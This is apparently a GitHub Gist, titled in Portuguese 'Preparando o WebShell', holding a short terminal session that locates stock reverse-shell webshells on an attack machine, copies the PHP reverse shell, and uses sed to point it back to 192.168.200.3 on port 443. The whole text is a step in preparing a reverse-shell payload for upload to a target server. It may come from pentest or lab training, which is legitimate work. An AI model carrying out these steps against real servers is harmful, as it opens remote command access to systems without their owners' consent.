Last active
May 19, 2020 20:10
-
-
Save diegoalbuquerque/17b424e2ea27a2090ed654a20ce354e6 to your computer and use it in GitHub Desktop.
Preparando o WebShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@kbca# locate webshell | grep revers | |
/usr/share/webshells/jsp/jsp-reverse.jsp | |
/usr/share/webshells/perl/perl-reverse-shell.pl | |
/usr/share/webshells/php/php-reverse-shell.php | |
root@kbca# cp /usr/share/webshells/php/php-reverse-shell.php meu-lindo-shell.php | |
# >>>> Precisamos Substituir o IP e Porta <<<< | |
root@kbca# grep -i "CHANGE THIS" meu-lindo-shell.php | |
$ip = '127.0.0.1'; // CHANGE THIS | |
$port = 1234; // CHANGE THIS | |
# >>>> Usando o SED <<<<<<< | |
root@kbca# sed -i -e "s/127.0.0.1/192.168.200.3/g" -e "s/1234/443/g" meu-lindo-shell.php | |
root@kbca# grep -i "CHANGE THIS" meu-lindo-shell.php | |
$ip = '192.168.200.3'; // CHANGE THIS | |
$port = 443; // CHANGE THIS |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment